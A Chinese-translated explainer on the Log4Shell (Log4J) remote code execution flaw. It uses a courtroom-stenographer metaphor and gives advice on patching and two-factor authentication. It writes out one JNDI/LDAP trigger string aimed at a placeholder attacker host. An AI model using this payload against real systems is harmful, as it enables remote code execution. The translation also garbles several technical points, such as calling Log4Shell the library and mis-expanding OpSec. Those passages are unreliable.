Log4Shell就是一名间谍。
神译局是36氪旗下编译团队,关注科技、商业、职场、生活等领域,重点介绍国外的新技术、新观点、新风向。
编者按:日志很受欢迎,但是用来创建日志的超级通用工具包Log4Shell(普遍称为“Log4J”)可不是个意志坚定的家伙,只要它识别到了“关键触发短语”,就会立马叛变妥协,执行别人的命令,导致电脑程序混乱而无法正常运行。要想让电脑系统顺畅运行,看看本文中作者给出的建议吧,保证会让你受益匪浅。本文来自翻译。
这是一个多么迷人的假期啊,可是在电脑系统的AWS区域出现了两次故障之后,我就在想,如果能深入地探讨一下可用性区域的恢复能力,再权衡一下实用性,就再好不过了。
那么,什么是Log4Shell,它有什么性能?
1.简介Log4Shell
Log4Shell是超级通用工具包,Java生态系统中的软件应用它来创建日志。想想看,关于让-卢克·皮卡德(Jean-Luc Picard)在《星际迷航:下一代》(Star Trek: the Next Generation)中开头的“船长日志”(Captain’s Log)条目,我们除了把它们存储(每毫秒可存储数千个这样的片段)在电脑里,然后还要孜孜不倦地观看记录,引人入胜的情节会让人一直看到喝干最后一口伯爵茶(Earl Grey)。日志的确是个好东西,它通常也很受欢迎,而且,也并不是历史上系统危害的主要来源之一。它甚至是监视系统防止瘫痪的好方法!
因此,Log4Shell得到了应用。Log4Shell是该漏洞的友好名称,正式名称为CVE-2021-44228,大多人在提到这个漏洞时都只说“Log4J”(在下文中一律采用此种说法)。Log4J是一个远程代码执行(“RCE”)漏洞,这是OPSec的说法,其大概意思是“任何人都可以与有此漏洞的计算机交互,甚至可以通过Log4J的帮助,间接地命令该计算机去做任何他们想做的事情。”在Log4J的妥协性方面,当然会被认为是超级糟糕的。
下面我来打一个不算精准的比喻来诠释一下Log4J到底是什么,这肯定会让工程师和法律专业人士感到不安。
假设Log4J是一名法庭速记员。
在这样假设下,电脑就成了法庭。速记员在整个诉讼过程中一直都坐在某个房间里,具体工作就是记录法庭上所发生的一切。
法庭上的不同角色设置了不同的访问级别,有一些是需严密保护的,限制访问;而另外一些是开放的,可以由公众自由访问。速记员被视为具有特殊访问权限的受信任的支持人员。
2.注意“触发语”
了解Log4J就相当于能突然发现大约三分之一的速记员是间谍。这些人是不知情的潜伏特工,只要被正确的关键词所触发,他们就会竭尽全力地听从任何命令。如果他们在文字记录中写下一个特殊的短语,那么这种“触发”就会发生,所以必须有人在法庭上说出这个具有“触发”性的短语,它们注意到了短语之后,就会“砰”的一声,应声倒下并妥协了。
这个具有“触发”性的短语是这样的:
$ {JNDI: LDAP: / / evil-corp.evil / activate-manchurian-candidate-and-follow-these-instructions}
我打的比喻,与“光谱青蛙算盘”(Spectral Frog Abacus)的意思相差不大,这样说可能会让你感到很奇怪,那你就权当它们是一回事吧。
利用我打的比喻,解决问题就变得简单多了。一周之内,有几乎一半的企业报告说,它们正在探测Log4J漏洞。请看消息:“根据维基百科,截至2021年12月14日,全球近一半的公司网络已积极进行了Log4J漏洞的探测,在24小时内检测出60多个漏洞变体。检查点软件技术(Check Point Software Technologies)在一份详细的分析中,也将Log4J漏洞潜在的损害描述为‘不可估量的’。”
维基百科就好比是一名坏蛋,他出现在世界各地的法庭上,大声地喊出关键短语,看他们是否能危及到速记员。对于那些妥协的速记员,我们根本不知道他们接下来要做什么。
所以无论是有组织的个人还是随机的参与者,都可以在法庭上喊出一些东西,如果喊出的话被速记员注意并转录了,那么这些人就触动了速记员,很可能会让他应声倒下。更老练的人可能会安排一个庭审证人,让他以一种微妙的方式说出激活码(关键触发性短语),而不是仅仅在法庭上明目张胆地大喊大叫。
速记员妥协后可能做的危害性最小的事情就是把法庭弄得一团糟。他们会停止工作,开始乱扔椅子,从而导致电脑程序被打乱,直到漏洞被清理掉,系统才能恢复正常运行。(这就像使用RCE会使机器崩溃一样)
对于速记员来说,更狡猾的指示可能是这样的:
(1)自我编辑文字记录,所以他们的妥协点在记录中隐藏着。
(2)利用对他们的信任,尝试去做一些他们不被支持但可侥幸去做的奇怪的事,如篡改证据,通过注入错误信息试图影响记录的程序,或者只是分享已经被它们转录的那些私人内容记录(有人可能会说出密码,这可能吗?或者说出信用卡号码?)。
(3)因为速记员知道自己最终会被抓住,所以就打开了法庭上的几扇锁着的门,让其他的坏人进来。
(4)通常还和欺诈供应链沆瀣一气搅在一起。
令速记员叛变的“隐形”指示基本就是这些。可就是这些,也挺可怕吧......但至少损害是有限的,因为妥协人员的范围仅限于速记员,对吧?这和法庭上的其他妥协人员不一样,那些妥协人员只是很容易被速记员欺骗或利用。
哦,等等,原来做笔记的不是只有速记员。法庭上的每一个人都在做笔记。不仅法官做了笔记,在所有权力位置上的每一个人也都做了笔记。他们和速记员一样,都做了笔记。所以他们也和速记员一样,有妥协性,也都在潜伏着,伺机而动。更糟糕的是,有些法庭喜欢“快速行动,打破常规”,因为法官、陪审团、控方、辩护、刽子手等等,这些超级法官们,他们也是速记员,会以超人的能力完成法庭上的所有功能。所以,只要是进入法庭的每一名工作人员,就可以轻松地管理整个法庭。
比喻会让你一目了然吗?是的,但这在软件领域很常见。
如果你从事工程专业或参加过安全培训,就可能听说过最小特权原则。这种确保系统的每个组件仅具有足够的权限在其自己的域中操作(也就是说,速记员没有法官的权力)的限制将极大地减轻妥协系统可能造成的损害。损害被大大减轻之时,此刻,限制也就得到了好的回报。
但是,法庭上的每个人,即使是最有权势的人,也都在做笔记。虽然速记员是法庭上最容易被骗写下关键短语的人,但其他人也都很容易受到影响。
因此,任何一个团队和公司,尽管已将所有事情都做得非常正确,仍然容易受到Log4J的攻击。
德国信息安全办公室(Office of Information Security)将Log4J漏洞列为该机构的最高威胁级别,称其为“极其严重的威胁情况”。据其报告称,几次攻击已经成功了,而攻击的程度仍然难以评估。
这么一讲,Log4J很糟糕,给它打的比喻到这就结束了。我想,精通计算机的人员会很好地解决这个问题的,我在这里的所有解释应该也会使不精通计算机的人员较好地理解它。
3.几点建议
首先,如果你生活在这个星球上,就需要意识到Log4J对自己的影响。
你在家里上网吗?上网的话在家里就会有一个路由器,这个路由器有运行Java的绝好机会,运行Java时肯定就会记录日志,而且它通常有一个外部可用的管理门户。因此,要经常检查一下软件更新,如果有最新版本,就要马上更新安装。安装时,也许还要关掉外部管理门户。
作为一个软件消费者,最好牢记两个基本原则,这将对自己非常有利:
(1)应用软件升级。检查自己电脑的配置,及时升级。全世界的软件团队都努力解决Log4J的问题,而且速度很快……当软件需要我们人为地去更新时,我们只有及时地做了更新,才能在这些更新了的软件运行中获益。
(2)广泛使用2FA。及时处理周内数据,否则密码被泄露的几率大幅上升;我敢打赌,haveibeenpwned.com将会在未来几个月宣布一批安全漏洞。如果还把密码当作电子邮件帐户、银行帐户等作为唯一保护措施,那你就要等着间谍入侵吧:来使用2FA吧,使用2FA是早晚的事儿。
你的孩子在使用Minecraft服务器吗?(……或者,你自己也在使用?)Minecraft: Java版本已经被Log4J破坏了。
对于我们这些自认为是精通计算机人的人来说,对Log4J漏洞问题有很多的想法。在这里只举出3点简单建议:
(1)任何一个需要使用我们自己的代码运行Log4J的应用,如果能够检测得到,必须升级或删除掉。
(2)我们都会得到提醒:在记录信息时,必须始终对日志输入进行杀毒。其危害严重程度足以与SQL注入或XSS相媲美,但作为一种有效的安全操作,还远没有得到应有的足够重视。
(3)全世界的系统管理员团队都有一个最终的任务负责人,这就引出了我今天早上要说的最后一个也是最紧迫的问题:请给工作在网络安全开放平台(OpSec,Open Platform for Security)上的人多一些关爱吧。
比如,对系统运维(Infra)人员、软件开发和IT技术运维(DevOps)人员以及系统安全人员给予更多的同情和仁慈。如果你正在和为开放网络平台的安全而默默奉献的人一起喝咖啡或鸡尾酒,请为他们买单吧。
因为Log4J漏洞,有很多人失眠了很久,还有更多的人因为要做出快速应对而投入了几个工作日。
给程序员和网络工程师朋友们的一个脚注:是的,在本文中,我知道自己过度简化了很多内容,尤其是网络部分,但我真的不想涉及网络、网络安全、web服务器的性质以及物联网等诸如此类的内容,我模糊了“计算机”和“运行在计算机上的软件”之间的界限……(用文字很难表达;欢迎各位给出技术指正);与此同时,无论自己的烤面包机上运行的是哪一个版本的Java,大家先去把它升级了吧。
译者:甜汤
本文来自翻译, 如若转载请注明出处。